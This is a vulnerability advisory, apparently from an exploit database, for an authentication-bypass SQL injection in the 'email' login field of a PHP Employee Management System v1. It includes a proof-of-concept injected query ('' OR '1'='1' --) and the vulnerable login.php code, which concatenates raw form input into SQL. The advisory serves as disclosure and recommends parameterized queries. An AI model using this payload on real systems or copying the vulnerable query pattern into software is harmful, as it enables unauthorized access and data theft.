Employee Management System v1 - 'email' SQL Injection

vendor:

Employee Management System

by:

SoSPiro

6.1

CVSS

HIGH

SQL Injection

CWE

Product Name: Employee Management System

Affected Version From: v1

Affected Version To: v1

Patch Exists: NO

Related CWE:

CPE: a:employee_management_system:employee_management_system:1

Metasploit:

Other Scripts:

Platforms Tested: Windows 10 64 bit Wampserver

2024

Employee Management System v1 – ’email’ SQL Injection

The Employee Management System v1 is vulnerable to SQL injection in the 'email' field of the user login functionality. By injecting malicious SQL code in the email input, an attacker can manipulate the SQL query to bypass authentication and potentially access sensitive information from the database.

Mitigation:

To mitigate this vulnerability, input validation and parameterized queries should be used to prevent user-controlled data from directly interacting with SQL queries.

Source

Exploit-DB raw data:

# Exploit Title: Employee Management System v1 - 'email' SQL Injection
# Google Dork: N/A
# Application: Employee Management System 
# Date: 19.02.2024
# Bugs: SQL Injection 
# Exploit Author: SoSPiro
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/16999/employee-management-system.html
# Version: N/A
# Tested on: Windows 10 64 bit Wampserver 
# CVE : N/A


## Vulnerability Description:

In your code, there is a potential SQL injection vulnerability due to directly incorporating user-provided data into the SQL query used for user login. This situation increases the risk of SQL injection attacks where malicious users may input inappropriate data to potentially harm your database or steal sensitive information.


## Proof of Concept (PoC):

An example attacker could input the following into the email field instead of a valid email address:

In this case, the SQL query would look like:

SELECT * FROM users WHERE email='' OR '1'='1' --' AND password = '' AND status = 'Active'
As "1=1" is always true, the query would return positive results, allowing the attacker to log in.


## Vulnerable code section:
====================================================
employee/Admin/login.php

<?php
session_start();
error_reporting(1);
include('../connect.php');

//Get website details
$sql_website = "select * from website_setting"; 
$result_website = $conn->query($sql_website);
$row_website = mysqli_fetch_array($result_website);


if(isset($_POST['btnlogin'])){


//Get Date
date_default_timezone_set('Africa/Lagos');
$current_date = date('Y-m-d h:i:s');


$email = $_POST['txtemail'];
$password = $_POST['txtpassword'];
$status = 'Active';


 $sql = "SELECT * FROM users WHERE email='" .$email. "' and password = '".$password."'  and status = '".$status."'";
  $result = mysqli_query($conn, $sql);

if (mysqli_num_rows($result) > 0) {
  // output data of each row
 ($row = mysqli_fetch_assoc($result));
	 $_SESSION["email"] = $row['email'];
   $_SESSION["password"] = $row['password'];
 $_SESSION["phone"] = $row['phone'];
 	 $firstname = $row['firstname'];
 	  $_SESSION["firstname"] = $row['firstname'];

		 $fa = $row['2FA'];

	}